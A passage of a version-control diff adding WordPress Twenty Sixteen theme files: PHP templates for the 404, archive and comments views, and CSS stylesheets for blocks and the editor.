+			<section class="error-404 not-found">
+				<header class="page-header">
+					<h1 class="page-title"><?php _e( 'Oops! That page can&rsquo;t be found.', 'twentysixteen' ); ?></h1>
+				</header><!-- .page-header -->
+
+				<div class="page-content">
+					<p><?php _e( 'It looks like nothing was found at this location. Maybe try a search?', 'twentysixteen' ); ?></p>
+
+					<?php get_search_form(); ?>
+				</div><!-- .page-content -->
+			</section><!-- .error-404 -->
+
+		</main><!-- .site-main -->
+
+		<?php get_sidebar( 'content-bottom' ); ?>
+
+	</div><!-- .content-area -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/archive.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/archive.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/archive.php	(revision 56912)
@@ -0,0 +1,65 @@
+<?php
+/**
+ * The template for displaying archive pages
+ *
+ * Used to display archive-type pages if nothing more specific matches a query.
+ * For example, puts together date-based pages if no date.php file exists.
+ *
+ * If you'd like to further customize these archive views, you may create a
+ * new template file for each one. For example, tag.php (Tag archives),
+ * category.php (Category archives), author.php (Author archives), etc.
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Sixteen
+ * @since Twenty Sixteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+		<?php if ( have_posts() ) : ?>
+
+			<header class="page-header">
+				<?php
+					the_archive_title( '<h1 class="page-title">', '</h1>' );
+					the_archive_description( '<div class="taxonomy-description">', '</div>' );
+				?>
+			</header><!-- .page-header -->
+
+			<?php
+			// Start the Loop.
+			while ( have_posts() ) : the_post();
+
+				/*
+				 * Include the Post-Format-specific template for the content.
+				 * If you want to override this in a child theme, then include a file
+				 * called content-___.php (where ___ is the Post Format name) and that will be used instead.
+				 */
+				get_template_part( 'template-parts/content', get_post_format() );
+
+			// End the loop.
+			endwhile;
+
+			// Previous/next page navigation.
+			the_posts_pagination( array(
+				'prev_text'          => __( 'Previous page', 'twentysixteen' ),
+				'next_text'          => __( 'Next page', 'twentysixteen' ),
+				'before_page_number' => '<span class="meta-nav screen-reader-text">' . __( 'Page', 'twentysixteen' ) . ' </span>',
+			) );
+
+		// If no content, include the "No posts found" template.
+		else :
+			get_template_part( 'template-parts/content', 'none' );
+
+		endif;
+		?>
+
+		</main><!-- .site-main -->
+	</div><!-- .content-area -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/comments.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/comments.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/comments.php	(revision 56912)
@@ -0,0 +1,79 @@
+<?php
+/**
+ * The template for displaying comments
+ *
+ * The area of the page that contains both current comments
+ * and the comment form.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Sixteen
+ * @since Twenty Sixteen 1.0
+ */
+
+/*
+ * If the current post is protected by a password and
+ * the visitor has not yet entered the password we will
+ * return early without loading the comments.
+ */
+if ( post_password_required() ) {
+	return;
+}
+?>
+
+<div id="comments" class="comments-area">
+
+	<?php if ( have_comments() ) : ?>
+		<h2 class="comments-title">
+			<?php
+				$comments_number = get_comments_number();
+				if ( '1' === $comments_number ) {
+					/* translators: %s: post title */
+					printf( _x( 'One thought on &ldquo;%s&rdquo;', 'comments title', 'twentysixteen' ), get_the_title() );
+				} else {
+					printf(
+						/* translators: 1: number of comments, 2: post title */
+						_nx(
+							'%1$s thought on &ldquo;%2$s&rdquo;',
+							'%1$s thoughts on &ldquo;%2$s&rdquo;',
+							$comments_number,
+							'comments title',
+							'twentysixteen'
+						),
+						number_format_i18n( $comments_number ),
+						get_the_title()
+					);
+				}
+			?>
+		</h2>
+
+		<?php the_comments_navigation(); ?>
+
+		<ol class="comment-list">
+			<?php
+				wp_list_comments( array(
+					'style'       => 'ol',
+					'short_ping'  => true,
+					'avatar_size' => 42,
+				) );
+			?>
+		</ol><!-- .comment-list -->
+
+		<?php the_comments_navigation(); ?>
+
+	<?php endif; // Check for have_comments(). ?>
+
+	<?php
+		// If comments are closed and there are comments, let's leave a little note, shall we?
+		if ( ! comments_open() && get_comments_number() && post_type_supports( get_post_type(), 'comments' ) ) :
+	?>
+		<p class="no-comments"><?php _e( 'Comments are closed.', 'twentysixteen' ); ?></p>
+	<?php endif; ?>
+
+	<?php
+		comment_form( array(
+			'title_reply_before' => '<h2 id="reply-title" class="comment-reply-title">',
+			'title_reply_after'  => '</h2>',
+		) );
+	?>
+
+</div><!-- .comments-area -->
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/css/blocks.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/css/blocks.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/css/blocks.css	(revision 56912)
@@ -0,0 +1,434 @@
+/*
+Theme Name: Twenty Sixteen
+Description: Used to style blocks.
+*/
+
+/*--------------------------------------------------------------
+>>> TABLE OF CONTENTS:
+----------------------------------------------------------------
+1.0 General Block Styles
+2.0 Blocks - Common Blocks
+3.0 Blocks - Formatting
+4.0 Blocks - Layout Elements
+5.0 Blocks - Widgets
+6.0 Blocks - Colors
+--------------------------------------------------------------*/
+
+/*--------------------------------------------------------------
+1.0 General Block Styles
+--------------------------------------------------------------*/
+
+/* Captions */
+
+[class^="wp-block-"] figcaption {
+	color: #686868;
+	font-style: italic;
+	line-height: 1.6153846154;
+	padding-top: 0.5384615385em;
+	text-align: left;
+}
+
+.rtl [class^="wp-block-"] figcaption {
+	text-align: right;
+}
+
+/*--------------------------------------------------------------
+2.0 Blocks - Common Blocks
+--------------------------------------------------------------*/
+
+/* Paragraph */
+
+p.has-drop-cap:not(:focus)::first-letter {
+	font-size: 5em;
+}
+
+/* Image */
+
+@media screen and (min-width: 61.5625em) {
+	body:not(.search-results) article:not(.type-page) .wp-block-image figcaption.below-entry-meta {
+		clear: both;
+		display: block;
+		float: none;
+		margin-right: 0;
+		margin-left: -40%;
+		max-width: 140%;
+	}
+
+	body.rtl:not(.search-results) article:not(.type-page) .wp-block-image figcaption.below-entry-meta {
+		margin-left: 0;
+		margin-right: -40%;
+	}
+}
+
+/* Gallery */
+
+.wp-block-gallery {
+	margin-bottom: 1.75em;
+}
+
+/* Quote */
+
+.wp-block-quote:not(.is-large):not(.is-style-large).alignleft,
+.wp-block-quote:not(.is-large):not(.is-style-large).alignright {
+	border-left: none;
+	padding-left: 0;
+}
+
+.rtl .wp-block-quote:not(.is-large):not(.is-style-large).alignleft,
+.rtl .wp-block-quote:not(.is-large):not(.is-style-large).alignright {
+	border-right: none;
+	padding-right: 0;
+}
+
+.wp-block-quote cite {
+	color: #1a1a1a;
+	display: block;
+	font-size: 16px;
+	font-size: 1rem;
+	line-height: 1.75;
+}
+
+.wp-block-quote cite:before {
+	content: "\2014\00a0";
+}
+
+/* Audio */
+
+.wp-block-audio audio {
+	display: block;
+	width: 100%;
+}
+
+/* Cover */
+
+.wp-block-cover-image.aligncenter,
+.wp-block-cover.aligncenter {
+	display: flex;
+}
+
+/* File */
+
+.wp-block-file .wp-block-file__button {
+	background: #1a1a1a;
+	border: 0;
+	border-radius: 2px;
+	color: #fff;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-weight: 700;
+	letter-spacing: 0.046875em;
+	line-height: 1;
+	padding: 0.84375em 0.875em 0.78125em;
+	text-transform: uppercase;
+}
+
+.wp-block-file .wp-block-file__button:hover,
+.wp-block-file .wp-block-file__button:focus {
+	background: #007acc;
+}
+
+.wp-block-file .wp-block-file__button:focus {
+	outline: thin dotted;
+	outline-offset: -4px;
+}
+
+.rtl .wp-block-file * + .wp-block-file__button {
+	margin-left: 0.75em;
+	margin-right: 0;
+}
+
+/*--------------------------------------------------------------
+3.0 Blocks - Formatting Blocks
+--------------------------------------------------------------*/
+
+/* Code */
+
+.wp-block-code {
+	border: 0;
+	font-family: Inconsolata, monospace;
+	font-size: 16px;
+	font-size: 1rem;
+	line-height: 1.75;
+	padding: 0;
+}
+
+/* Pullquote */
+
+.wp-block-pullquote {
+	border-width: 4px;
+}
+
+.wp-block-pullquote blockquote {
+	border-left: 0;
+	margin: 0;
+	padding: 0;
+}
+
+.rtl .wp-block-pullquote blockquote {
+	border-right: 0;
+}
+
+.wp-block-pullquote p {
+	color: #686868;
+	font-size: 19px;
+	font-size: 1.1875rem;
+}
+
+.wp-block-pullquote cite {
+	color: #1a1a1a;
+	display: block;
+	font-size: 16px;
+	font-size: 1rem;
+	font-style: none;
+	line-height: 1.75;
+	text-transform: none;
+}
+
+.wp-block-pullquote cite:before {
+	content: "\2014\00a0";
+}
+
+/* Table */
+
+.wp-block-table,
+.wp-block-table th,
+.wp-block-table td {
+	border: 1px solid #d1d1d1;
+}
+
+.wp-block-table {
+	border-collapse: separate;
+	border-spacing: 0;
+	border-width: 1px 0 0 1px;
+	margin: 0 0 1.75em;
+	table-layout: fixed;
+	width: 100%;
+}
+
+.wp-block-table th,
+.wp-block-table td {
+	font-weight: normal;
+	padding: 0.4375em;
+	text-align: left;
+}
+
+.wp-block-table th {
+	border-width: 0 1px 1px 0;
+	font-weight: 700;
+}
+
+.wp-block-table td {
+	border-width: 0 1px 1px 0;
+}
+
+.rtl .wp-block-table th,
+.rtl .wp-block-table td {
+	text-align: right;
+}
+
+/*--------------------------------------------------------------
+4.0 Blocks - Layout Elements
+--------------------------------------------------------------*/
+
+/* Buttons */
+
+.wp-block-button .wp-block-button__link {
+	box-shadow: none;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-weight: 700;
+	letter-spacing: 0.046875em;
+	line-height: 1;
+	padding: 0.84375em 1.3125em 0.78125em;
+	text-transform: uppercase;
+}
+
+.entry-content .wp-block-button__link {
+	background: #1a1a1a;
+	color: #fff;
+}
+
+.entry-content .is-style-outline .wp-block-button__link:not(.has-background) {
+	background: transparent;
+}
+
+.entry-content .is-style-outline .wp-block-button__link:not(.has-text-color) {
+	color: #1a1a1a;
+}
+
+.entry-content .wp-block-button__link:hover,
+.entry-content .wp-block-button__link:focus,
+.entry-content .is-style-outline .wp-block-button__link:not(.has-background):hover,
+.entry-content .is-style-outline .wp-block-button__link:not(.has-background):focus,
+.entry-content .is-style-outline .wp-block-button__link:not(.has-text-color):hover,
+.entry-content .is-style-outline .wp-block-button__link:not(.has-text-color):focus {
+	background: #007acc;
+	color: #fff;
+}
+
+.wp-block-button .wp-block-button__link:focus {
+	outline: thin dotted;
+	outline-offset: -4px;
+}
+
+/* Seperator */
+
+hr.wp-block-separator {
+	border: 0;
+}
+
+.wp-block-separator {
+	margin-left: auto;
+	margin-right: auto;
+	max-width: 100px;
+}
+
+.wp-block-separator.is-style-wide {
+	max-width: 100%;
+}
+
+/* Media & Text */
+
+.wp-block-media-text {
+	margin-bottom: 1.75em;
+}
+
+.wp-block-media-text *:last-child {
+	margin-bottom: 0;
+}
+
+/*--------------------------------------------------------------
+5.0 Blocks - Widget Blocks
+--------------------------------------------------------------*/
+
+/* Archives, Categories & Latest Posts */
+
+.wp-block-archives.aligncenter,
+.wp-block-categories.aligncenter,
+.wp-block-latest-posts.aligncenter {
+	list-style-position: inside;
+	text-align: center;
+}
+
+/* Latest Comments */
+
+.wp-block-latest-comments__comment-meta a {
+	box-shadow: none;
+	font-weight: 700;
+}
+
+.wp-block-latest-comments__comment-date {
+	color: #686868;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	line-height: 1.6153846154;
+}
+
+.wp-block-latest-comments .wp-block-latest-comments__comment {
+	border-top: 1px solid #d1d1d1;
+	margin-bottom: 0;
+	padding: 1.75em 0;
+}
+
+.wp-block-latest-comments__comment-excerpt p:last-child {
+	margin-bottom: 0;
+}
+
+/*--------------------------------------------------------------
+6.0 Blocks - Colors
+--------------------------------------------------------------*/
+
+.entry-content .has-dark-gray-color {
+	color: #1a1a1a;
+}
+
+.entry-content .has-dark-gray-background-color {
+	background-color: #1a1a1a;
+}
+
+.entry-content .has-medium-gray-color {
+	color: #686868;
+}
+
+.entry-content .has-medium-gray-background-color {
+	background-color: #686868;
+}
+
+.entry-content .has-light-gray-color {
+	color: #e5e5e5;
+}
+
+.entry-content .has-light-gray-background-color {
+	background-color: #e5e5e5;
+}
+
+.entry-content .has-white-color {
+	color: #fff;
+}
+
+.entry-content .has-white-background-color {
+	background-color: #fff;
+}
+
+.entry-content .has-blue-gray-color {
+	color: #4d545c;
+}
+
+.entry-content .has-blue-gray-background-color {
+	background-color: #4d545c;
+}
+
+.entry-content .has-bright-blue-color {
+	color: #007acc;
+}
+
+.entry-content .has-bright-blue-background-color {
+	background-color: #007acc;
+}
+
+.entry-content .has-light-blue-color {
+	color: #9adffd;
+}
+
+.entry-content .has-light-blue-background-color {
+	background-color: #9adffd;
+}
+
+.entry-content .has-dark-brown-color {
+	color: #402b30;
+}
+
+.entry-content .has-dark-brown-background-color {
+	background-color: #402b30;
+}
+
+.entry-content .has-medium-brown-color {
+	color: #774e24;
+}
+
+.entry-content .has-medium-brown-background-color {
+	background-color: #774e24;
+}
+
+.entry-content .has-dark-red-color {
+	color: #640c1f;
+}
+
+.entry-content .has-dark-red-background-color {
+	background-color: #640c1f;
+}
+
+.entry-content .has-bright-red-color {
+	color: #ff675f;
+}
+
+.entry-content .has-bright-red-background-color {
+	background-color: #ff675f;
+}
+
+.entry-content .has-yellow-color {
+	color: #ffef8e;
+}
+
+.entry-content .has-yellow-background-color {
+	background-color: #ffef8e;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/css/editor-blocks.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/css/editor-blocks.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/css/editor-blocks.css	(revision 56912)
@@ -0,0 +1,617 @@
+/*
+Theme Name: Twenty Sixteen
+Description: Used to style blocks in the editor.
+*/
+
+/*--------------------------------------------------------------
+>>> TABLE OF CONTENTS:
+----------------------------------------------------------------
+1.0 General Typography
+2.0 General Block Styles
+3.0 Blocks - Common Blocks
+4.0 Blocks - Formatting
+5.0 Blocks - Layout Elements
+6.0 Blocks - Widgets
+--------------------------------------------------------------*/
+
+/*--------------------------------------------------------------
+1.0 General Typography
+--------------------------------------------------------------*/
+
+.edit-post-visual-editor .editor-block-list__block,
+.editor-default-block-appender textarea.editor-default-block-appender__content {
+	font-family: Merriweather, Georgia, serif;
+	font-size: 16px;
+	font-size: 1rem;
+	line-height: 1.75;
+}
+
+.edit-post-visual-editor .editor-block-list__block {
+	color: #1a1a1a;
+}
+
+.editor-post-title__block .editor-post-title__input {
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-size: 28px;
+	font-size: 1.75rem;
+	font-weight: 700;
+	line-height: 1.25;
+	margin-bottom: 1em;
+}
+
+.edit-post-visual-editor h1 {
+	font-size: 28px;
+	font-size: 1.75rem;
+	line-height: 1.25;
+	margin-top: 2em;
+	margin-bottom: 1em;
+}
+
+.edit-post-visual-editor h2 {
+	font-size: 23px;
+	font-size: 1.4375rem;
+	line-height: 1.2173913043;
+	margin-top: 2.4347826087em;
+	margin-bottom: 1.2173913043em;
+}
+
+.edit-post-visual-editor h3 {
+	font-size: 19px;
+	font-size: 1.1875rem;
+	line-height: 1.1052631579;
+	margin-top: 2.9473684211em;
+	margin-bottom: 1.4736842105em;
+}
+
+.edit-post-visual-editor h4,
+.edit-post-visual-editor h5,
+.edit-post-visual-editor h6 {
+	font-size: 16px;
+	font-size: 1rem;
+	line-height: 1.3125;
+	margin-top: 3.5em;
+	margin-bottom: 1.75em;
+}
+
+.edit-post-visual-editor h4 {
+	letter-spacing: 0.140625em;
+	text-transform: uppercase;
+}
+
+.edit-post-visual-editor h6 {
+	font-style: italic;
+}
+
+.edit-post-visual-editor h1,
+.edit-post-visual-editor h2,
+.edit-post-visual-editor h3,
+.edit-post-visual-editor h4,
+.edit-post-visual-editor h5,
+.edit-post-visual-editor h6 {
+	font-weight: 900;
+}
+
+@media screen and (min-width: 61.5625em) {
+	.edit-post-visual-editor h1 {
+		font-size: 33px;
+		font-size: 2.0625rem;
+		line-height: 1.2727272727;
+		margin-top: 1.696969697em;
+		margin-bottom: 0.8484848485em;
+	}
+
+	.edit-post-visual-editor h2 {
+		font-size: 28px;
+		font-size: 1.75rem;
+		line-height: 1.25;
+		margin-top: 2em;
+		margin-bottom: 1em;
+	}
+
+	.edit-post-visual-editor h3 {
+		font-size: 23px;
+		font-size: 1.4375rem;
+		line-height: 1.2173913043;
+		margin-top: 2.4347826087em;
+		margin-bottom: 1.2173913043em;
+	}
+
+	.edit-post-visual-editor h4 {
+		letter-spacing: 0.131578947em;
+	}
+
+	.edit-post-visual-editor h4,
+	.edit-post-visual-editor h5,
+	.edit-post-visual-editor h6 {
+		font-size: 19px;
+		font-size: 1.1875rem;
+		line-height: 1.1052631579;
+		margin-top: 2.9473684211em;
+		margin-bottom: 1.473684211em;
+	}
+}
+
+.edit-post-visual-editor h1:first-child,
+.edit-post-visual-editor h2:first-child,
+.edit-post-visual-editor h3:first-child,
+.edit-post-visual-editor h4:first-child,
+.edit-post-visual-editor h5:first-child,
+.edit-post-visual-editor h6:first-child {
+	margin-top: 0;
+}
+
+.edit-post-visual-editor p {
+	margin: 0 0 1.75em;
+}
+
+.edit-post-visual-editor blockquote p {
+	margin-bottom: 1.4736842105em;
+}
+
+@media screen and (min-width: 44.375em) {
+	.editor-post-title__block .editor-post-title__input {
+		font-size: 33px;
+		font-size: 2.0625rem;
+		line-height: 1.2727272727;
+		margin-bottom: 0.8484848485em;
+	}
+}
+
+@media screen and (min-width: 61.5625em) {
+	.editor-post-title__block .editor-post-title__input {
+		font-size: 40px;
+		font-size: 2.5rem;
+		line-height: 1.225;
+		margin-bottom: 1.05em;
+	}
+}
+
+/*--------------------------------------------------------------
+2.0 General Block Styles
+--------------------------------------------------------------*/
+
+/* Main column width */
+
+.editor-styles-wrapper {
+	max-width: 100% !important; /* Override where editor-style.css is affecting this */
+}
+
+.wp-block {
+	max-width: 630px; /* 600px + 30px to account for padding. */
+}
+
+/* Link styles */
+
+.edit-post-visual-editor a,
+.editor-block-list__block a,
+.wp-block-freeform.block-library-rich-text__tinymce a {
+	color: #007acc;
+}
+
+/* List styles */
+
+.edit-post-visual-editor ul:not(.wp-block-gallery),
+.editor-block-list__block ul:not(.wp-block-gallery),
+.block-library-list ul,
+.edit-post-visual-editor ol,
+.editor-block-list__block ol,
+.block-library-list ol {
+	margin: 0 0 1.75em 1.25em;
+	padding: 0;
+}
+
+.edit-post-visual-editor ul:not(.wp-block-gallery),
+.editor-block-list__block ul:not(.wp-block-gallery),
+.block-library-list ul {
+	list-style: disc;
+}
+
+.edit-post-visual-editor ol,
+.editor-block-list__block ol,
+.block-library-list ol {
+	list-style: decimal;
+	margin-left: 1.5em;
+}
+
+.edit-post-visual-editor ul:not(.wp-block-gallery) li,
+.editor-block-list__block ul:not(.wp-block-gallery) li,
+.edit-post-visual-editor ol li,
+.editor-block-list__block ol li,
+.block-library-list li {
+	margin-bottom: 0;
+}
+
+.edit-post-visual-editor ul:not(.wp-block-gallery) li > ul,
+.editor-block-list__block ul:not(.wp-block-gallery) li > ul,
+.block-library-list li > ul,
+.edit-post-visual-editor li > ol,
+.editor-block-list__block li > ol,
+.block-library-list li > ol {
+	margin-bottom: 0;
+}
+
+.rtl .edit-post-visual-editor ul:not(.wp-block-gallery),
+.rtl .editor-block-list__block ul:not(.wp-block-gallery),
+.rtl .block-library-list ul,
+.rtl .edit-post-visual-editor ol,
+.rtl .editor-block-list__block ol,
+.rtl .block-library-list ol {
+	margin-left: 0;
+	margin-right: 1.25em;
+	padding: 0;
+}
+
+.rtl .edit-post-visual-editor ol,
+.rtl .editor-block-list__block ol,
+.rtl .block-library-list ol {
+	margin-left: 1.5em;
+	margin-right: 1.5em;
+}
+
+/* Quotes */
+
+.rtl .editor-block-list__block blockquote {
+	border-left: 0;
+	padding-left: 0;
+}
+
+/* Captions */
+
+[class^="wp-block-"] figcaption {
+	color: #686868;
+	font-style: italic;
+	line-height: 1.6153846154;
+	padding-top: 0.5384615385em;
+	text-align: left;
+}
+
+.rtl [class^="wp-block-"] figcaption {
+	text-align: right;
+}
+
+/*--------------------------------------------------------------
+3.0 Blocks - Common Blocks
+--------------------------------------------------------------*/
+
+/* Paragraph */
+
+.wp-block-paragraph.has-drop-cap:not(:focus)::first-letter {
+	font-size: 5em;
+	line-height: 0.68;
+	margin: 0.05em 0.1em 0 0;
+	text-transform: uppercase;
+	font-style: normal;
+}
+
+.rtl .wp-block-paragraph.has-drop-cap:not(:focus)::first-letter {
+	margin: 0.05em 0 0 0.1em;
+}
+
+/* Quote */
+
+.wp-block-quote {
+	border: 0 solid #1a1a1a;
+	border-left-width: 4px;
+	color: #686868;
+	font-style: italic;
+	line-height: 1.4736842105;
+	margin: 0 0 1.4736842105em;
+	overflow: hidden;
+	padding: 0 0 0 1.263157895em;
+}
+
+.wp-block-quote:not(.is-large):not(.is-style-large).alignleft,
+.wp-block-quote:not(.is-large):not(.is-style-large).alignright {
+	border-left: 0;
+	padding-left: 0;
+}
+
+.editor-block-list__block .wp-block-quote p {
+	font-size: 19px;
+	font-size: 1.1875rem;
+	margin-bottom: 1.4736842105em;
+}
+
+.wp-block-quote__citation {
+	color: #1a1a1a;
+	display: block;
+	font-size: 16px;
+	font-size: 1rem;
+	line-height: 1.75;
+}
+
+.wp-block-quote__citation:before {
+	content: "\2014\00a0";
+}
+
+.wp-block-quote em,
+.wp-block-quote i,
+.wp-block-quote__citation:before {
+	font-style: normal;
+}
+
+.wp-block-quote strong,
+.wp-block-quote b {
+	font-weight: 400;
+}
+
+.wp-block-quote > :last-child {
+	margin-bottom: 0;
+}
+
+.wp-block-quote.alignleft {
+	margin: 0.3157894737em 1.4736842105em 1.473684211em 0;
+}
+
+.wp-block-quote.alignright {
+	margin: 0.3157894737em 0 1.473684211em 1.4736842105em;
+}
+
+.wp-block-quote.aligncenter {
+	margin-bottom: 1.473684211em;
+}
+
+.rtl .wp-block-quote:not(.is-large):not(.is-style-large).alignleft,
+.rtl .wp-block-quote:not(.is-large):not(.is-style-large).alignright  {
+	border-right: 0;
+	padding-right: 0;
+}
+
+@media screen and (min-width: 44.375em) {
+	.wp-block-quote.alignleft,
+	.wp-block-quote.alignright {
+		border-width: 4px 0 0 0;
+		padding: 0.9473684211em 0 0;
+		width: -webkit-calc(50% - 0.736842105em);
+		width: calc(50% - 0.736842105em);
+	}
+
+	.wp-block-quote:not(.alignleft):not(.alignright) {
+		margin-left: -1.473684211em;
+	}
+
+	.rtl .wp-block-quote:not(.alignleft):not(.alignright) {
+		margin-left: 0;
+		margin-right: -1.473684211em;
+	}
+}
+
+@media screen and (min-width: 80em) {
+	.editor-block-list__block .wp-block-quote.alignleft {
+		margin-left: -40%;
+		width: -webkit-calc(60% - 1.4736842105em);
+		width: calc(60% - 1.4736842105em);
+	}
+}
+
+/* File */
+
+.wp-block-file__textlink {
+	box-shadow: 0 1px 0 0 currentColor;
+	color: #007acc;
+}
+
+.wp-block-file .wp-block-file__button {
+	background: #1a1a1a;
+	border: 0;
+	border-radius: 2px;
+	color: #fff;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-weight: 700;
+	letter-spacing: 0.046875em;
+	line-height: 1;
+	padding: 0.84375em 0.875em 0.78125em;
+	text-transform: uppercase;
+}
+
+/*--------------------------------------------------------------
+4.0 Blocks - Formatting
+--------------------------------------------------------------*/
+
+/* Code */
+
+.wp-block-code {
+	border: 0;
+	padding: 0.125em 0.25em;
+}
+
+/* Classic */
+
+.wp-block-freeform.block-library-rich-text__tinymce blockquote {
+	border: 0 solid #1a1a1a;
+	border-left-width: 4px;
+	color: #686868;
+	font-style: italic;
+	line-height: 1.4736842105;
+	margin: 0 0 1.4736842105em;
+	overflow: hidden;
+	padding: 0 0 0 1.263157895em;
+}
+
+.editor-block-list__block .wp-block-freeform.block-library-rich-text__tinymce blockquote:not(.alignleft):not(.alignright) {
+	margin-left: 0;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce blockquote p {
+	font-size: 19px;
+	font-size: 1.1875rem;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce blockquote cite {
+	color: #1a1a1a;
+	display: block;
+	font-size: 16px;
+	font-size: 1rem;
+	font-style: normal;
+	line-height: 1.75;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce blockquote cite:before {
+	content: "\2014\00a0";
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce blockquote.alignleft {
+	margin: 0.3157894737em 1.4736842105em 1.473684211em 0;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce blockquote.alignright {
+	margin: 0.3157894737em 0 1.473684211em 1.4736842105em;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce blockquote.aligncenter {
+	margin-bottom: 1.473684211em;
+}
+
+@media screen and (min-width: 44.375em) {
+	.wp-block-freeform.block-library-rich-text__tinymce blockquote.alignleft,
+	.wp-block-freeform.block-library-rich-text__tinymce blockquote.alignright {
+		border-width: 4px 0 0 0;
+		padding: 0.9473684211em 0 0;
+		width: -webkit-calc(50% - 0.736842105em);
+		width: calc(50% - 0.736842105em);
+	}
+}
+
+.rtl .wp-block-freeform.block-library-rich-text__tinymce blockquote {
+	border-left-width: 0;
+	border-right-width: 4px;
+	overflow: hidden;
+	padding-left: 0;
+	padding-right: 1.263157895em;
+}
+
+.rtl .wp-block-freeform.block-library-rich-text__tinymce .alignleft {
+	float: left;
+}
+
+.rtl .wp-block-freeform.block-library-rich-text__tinymce .alignright {
+	float: right;
+}
+
+.rtl .wp-block-freeform.block-library-rich-text__tinymce blockquote.alignleft {
+	margin: 0.3157894737em 0 1.473684211em 1.4736842105em;
+}
+
+.rtl .wp-block-freeform.block-library-rich-text__tinymce blockquote.alignright {
+	margin: 0.3157894737em 1.4736842105em 1.473684211em 0;
+}
+
+/* Pullquote */
+
+.editor-block-list__block .wp-block-pullquote blockquote {
+	border: 0;
+	margin: 0;
+	padding: 0;
+}
+
+.wp-block-pullquote blockquote > .editor-rich-text p {
+	color: #686868;
+	font-size: 19px;
+	font-size: 1.1875rem;
+}
+
+.wp-block-pullquote .wp-block-pullquote__citation {
+	color: #1a1a1a;
+	display: block;
+	font-size: 16px;
+	font-size: 1rem;
+	font-style: italic;
+	line-height: 1.75;
+	text-transform: none;
+}
+
+.wp-block-pullquote .wp-block-pullquote__citation:before {
+	content: "\2014\00a0";
+}
+
+/* Table */
+
+.editor-block-list__block table.wp-block-table th,
+.editor-block-list__block table.wp-block-table td {
+	padding: 0;
+}
+
+.rtl .wp-block-table th,
+.rtl .wp-block-table td {
+	text-align: right;
+}
+
+/*--------------------------------------------------------------
+5.0 Blocks - Layout Elements
+--------------------------------------------------------------*/
+
+/* Buttons */
+
+.wp-block-button .wp-block-button__link {
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-weight: 700;
+	letter-spacing: 0.046875em;
+	line-height: 1;
+	padding: 0.84375em 1.3125em 0.78125em;
+	text-transform: uppercase;
+}
+
+.wp-block-button__link {
+	background: #1a1a1a;
+	color: #fff;
+}
+
+.is-style-outline .wp-block-button__link {
+	color: #1a1a1a;
+}
+
+/* Media & Text */
+
+.wp-block-media-text *:last-child {
+	margin-bottom: 0;
+}
+
+/*--------------------------------------------------------------
+6.0 Blocks - Widgets
+--------------------------------------------------------------*/
+
+/* Archives, Categories & Latest Posts */
+
+[data-align="center"] .wp-block-archives ul,
+[data-align="center"] .wp-block-categories ul,
+[data-align="center"] .wp-block-latest-posts ul {
+	list-style-position: inside;
+}
+
+/* Latest Comments */
+
+.editor-block-list__block .wp-block-latest-comments__comment-meta a {
+	box-shadow: none;
+	font-weight: 700;
+	text-decoration: none;
+}
+
+.wp-block-latest-comments__comment-date {
+	color: #686868;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	line-height: 1.6153846154;
+}
+
+.wp-block-latest-comments .wp-block-latest-comments__comment {
+	border-top: 1px solid #d1d1d1;
+	margin-bottom: 0;
+	padding: 1.75em 0;
+}
+
+.wp-block-latest-comments__comment-excerpt p:last-child {
+	margin-bottom: 0;
+}
+
+/* Latest Posts */
+
+.edit-post-visual-editor .wp-block-latest-posts.is-grid {
+	list-style: none;
+	margin-left: 0;
+	margin-right: 0;
+}
+
+.edit-post-visual-editor .wp-block-latest-posts.is-grid li {
+	margin-bottom: 16px;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/css/editor-style.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/css/editor-style.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/css/editor-style.css	(revision 56912)
@@ -0,0 +1,547 @@
+/*
+Theme Name: Twenty Sixteen
+Description: Used to style the TinyMCE editor.
+*/
+
+
+/**
+ * Table of Contents:
+ *
+ * 1.0 - Body
+ * 2.0 - Typography
+ * 3.0 - Elements
+ * 4.0 - Alignment
+ * 5.0 - Caption
+ * 6.0 - Galleries
+ * 7.0 - Audio / Video
+ * 8.0 - RTL
+ */
+
+
+/**
+ * 1.0 - Body
+ */
+
+body {
+	color: #1a1a1a;
+	font-family: Merriweather, Georgia, serif;
+	font-size: 16px;
+	font-weight: 400;
+	line-height: 1.75;
+	margin: 20px 40px;
+	max-width: 600px;
+	vertical-align: baseline;
+}
+
+body.post-type-page {
+	max-width: 840px;
+}
+
+
